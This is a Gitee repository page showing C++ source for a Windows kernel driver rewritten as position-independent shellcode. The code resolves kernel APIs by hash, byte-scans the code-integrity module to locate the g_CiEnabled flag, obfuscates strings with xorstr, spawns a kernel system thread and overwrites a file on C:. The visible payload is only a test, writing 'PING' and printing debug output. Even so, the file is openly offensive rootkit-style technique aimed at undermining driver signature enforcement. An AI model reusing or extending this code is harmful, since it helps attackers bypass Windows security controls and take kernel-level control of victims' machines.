开源 企业版 高校版 私有云 模力方舟 AI 队友
代码拉取完成,页面将自动刷新
捐赠
捐赠前请先登录
扫描微信二维码支付
取消
支付完成
支付提示
将跳转至支付宝完成支付
确定
取消
1 Star 0 Fork 19

y11en/shellcode_driver

加入 Gitee
与超过 1400万 开发者一起发现、参与优秀开源项目,私有仓库也完全免费 :)
免费加入
已有帐号? 立即登录
文件
master
分支 (1)
master
该仓库未声明开源许可证文件(LICENSE),使用请关注具体项目描述及其代码上游依赖。
项目仓库所选许可证以仓库主分支所使用许可证为准
master
分支 (1)
master
克隆/下载
克隆/下载
提示
下载代码请复制以下命令到终端执行
为确保你提交的代码身份被 Gitee 正确识别,请执行以下命令完成配置
初次使用 SSH 协议进行代码克隆、推送等操作时,需按下述提示完成 SSH 配置
1 生成 RSA 密钥
2 获取 RSA 公钥内容,并配置到 SSH公钥
在 Gitee 上使用 SVN,请访问 使用指南
使用 HTTPS 协议时,命令行会出现如下账号密码验证步骤。基于安全考虑,Gitee 建议 配置并使用私人令牌 替代登录密码进行克隆、推送等操作
Username for 'https://gitee.com': userName
Password for 'https://userName@gitee.com': # 私人令牌
master
分支 (1)
master
shellcode_driver
/
ShellCodeDriver
/
shellcode_main.cpp
shellcode_driver
/
ShellCodeDriver
/
shellcode_main.cpp
shellcode_main.cpp 3.06 KB
一键复制 编辑 原始数据 按行查看 历史
老爷爷 提交于 2018年05月17日 18:30 +08:00 . #up c++17
#include "shell_common.h"
#include "xorstr.hpp"
void * __cdecl memset(_Out_writes_bytes_all_(_Size) void * _Dst, _In_ int _Val, _In_ size_t _Size)
{
for (size_t i=0;i<_Size;i++)
{
*(BYTE*)((PBYTE)_Dst + i) = (BYTE)_Val;
}
return _Dst;
}
QWORD GetAddr_g_CiEnabled(QWORD qwAddrModuleCi)
{
DWORD i = 0, j = 0;
auto qwA = PEGetProcAddressH(qwAddrModuleCi, H_CiInitialize);
if (!qwA) {
return 0;
}
do {
if (*(PBYTE)(qwA + i) == 0xE9) {
qwA = qwA + i + 5 + *(PLONG)(qwA + i + 1);
do {
// Scan for MOV to g_CiEnabled
if (*(PUSHORT)(qwA + j) == 0x0D89) {
return qwA + j + 6 + *(PLONG)(qwA + j + 2);
}
j++;
} while (j < 256);
return 0;
}
i++;
} while (i < 128);
return 0;
}
NTSTATUS BkStartThread(PKERNEL_FUNCTIONS fnk,PKSTART_ROUTINE TrdRoutine)
{
HANDLE hThread;
NTSTATUS ntStatus;
OBJECT_ATTRIBUTES oa;
InitializeObjectAttributes(&oa, NULL, OBJ_KERNEL_HANDLE, NULL, NULL);
ntStatus = fnk->_PsCreateSystemThread(&hThread, GENERIC_ALL, &oa, NULL, NULL, TrdRoutine,(PVOID)fnk);
if (NT_SUCCESS(ntStatus))
fnk->ZwClose(hThread);
return(ntStatus);
}
void test_file(PKERNEL_FUNCTIONS fnk)
{
IO_STATUS_BLOCK _io;
OBJECT_ATTRIBUTES _oa;
UNICODE_STRING _su;
ANSI_STRING _sa;
HANDLE hFile;
//这里已经可以覆盖文件了
char p[20];
p[0] = 'P';
p[1] = 'I';
p[2] = 'N';
p[3] = 'G';
p[4] = '\r';
p[5] = '\n';
p[6] = '0円';
fnk->RtlInitAnsiString(&_sa, xorstr("\\??\\C:\\2.txt").crypt_get());
fnk->RtlAnsiStringToUnicodeString(&_su, &_sa, TRUE);
fnk->RtlZeroMemory(&_oa, sizeof(OBJECT_ATTRIBUTES));
fnk->RtlZeroMemory(&_io, sizeof(IO_STATUS_BLOCK));
InitializeObjectAttributes(
&_oa,
&_su,
OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE,
NULL,
NULL);
auto ns = fnk->ZwCreateFile(&hFile,
GENERIC_WRITE | SYNCHRONIZE,
&_oa,
&_io,
NULL,
FILE_ATTRIBUTE_NORMAL,
0,
FILE_OVERWRITE_IF,
FILE_SYNCHRONOUS_IO_NONALERT | FILE_NON_DIRECTORY_FILE,
NULL,
0);
if (NT_SUCCESS(ns))
{
LARGE_INTEGER offset;
offset.QuadPart = 0;
fnk->ZwWriteFile(hFile, nullptr, nullptr, nullptr, &_io, p, (ULONG)fnk->_strlen(p)+1, &offset, nullptr);
}
fnk->ZwClose(hFile);
}
VOID myThread(PVOID Context)
{
PKERNEL_FUNCTIONS fnk = (PKERNEL_FUNCTIONS)Context;
LARGE_INTEGER Interval;
char p[20];
p[0] = 'P';
p[1] = 'I';
p[2] = 'N';
p[3] = 'G';
p[4] = '\r';
p[5] = '\n';
p[6] = '0円';
while (1) {
Interval.QuadPart = _RELATIVE(_MILLISECONDS(100));
fnk->KeDelayExecutionThread(KernelMode, TRUE, &Interval);
fnk->_DbgPrintEx(DPFLTR_DEFAULT_ID, DPFLTR_ERROR_LEVEL, p);
}
}
EXTERN_C VOID driver_shellcode_entry(_In_ QWORD NtOsImageBase,_In_ PVOID _Context)
{
//KERNEL_FUNCTIONS osFn;
UNREFERENCED_PARAMETER(_Context);
if (!NtOsImageBase)
{
return;
}
decltype(tdKERNEL_FUNCTIONS::ExAllocatePool) _ExAllocatePool = (decltype(tdKERNEL_FUNCTIONS::ExAllocatePool))PEGetProcAddressH(NtOsImageBase, H_ExAllocatePool);
auto osFn = (PKERNEL_FUNCTIONS)_ExAllocatePool(NonPagedPool, sizeof(KERNEL_FUNCTIONS));
InitializeKernelFunctions(NtOsImageBase, osFn);
test_file(osFn);
BkStartThread(osFn, myThread);
//auto _free = &osFn->ExFreePool;
//_free(osFn);
}
Loading...
举报
举报成功
我们将于2个工作日内通过站内信反馈结果给你!
请认真填写举报原因,尽可能描述详细。
请选择举报类型
取消
发送
误判申诉

此处可能存在不合适展示的内容,页面不予展示。您可通过相关编辑功能自查并修改。

如您确认内容无涉及 不当用语 / 纯广告导流 / 暴力 / 低俗色情 / 侵权 / 盗版 / 虚假 / 无价值内容或违法国家有关法律法规的内容,可点击提交进行申诉,我们将尽快为您处理。

取消
提交

简介

无导入表的driver与shellcode化——因为SEH问题项目报废--2018年正式解封开源
取消

发行版

暂无发行版

贡献者

全部

近期动态

不能加载更多了
编辑仓库简介
简介内容
主页
马建仓 AI 助手
尝试更多
代码解读
代码找茬
代码优化
1
https://gitee.com/yllen/shellcode_driver.git
git@gitee.com:yllen/shellcode_driver.git
yllen
shellcode_driver
shellcode_driver
master
点此查找更多帮助

搜索帮助

评论
仓库举报
回到顶部
登录提示
该操作需登录 Gitee 帐号,请先登录后再操作。
立即登录
没有帐号,去注册

AltStyle によって変換されたページ (->オリジナル) /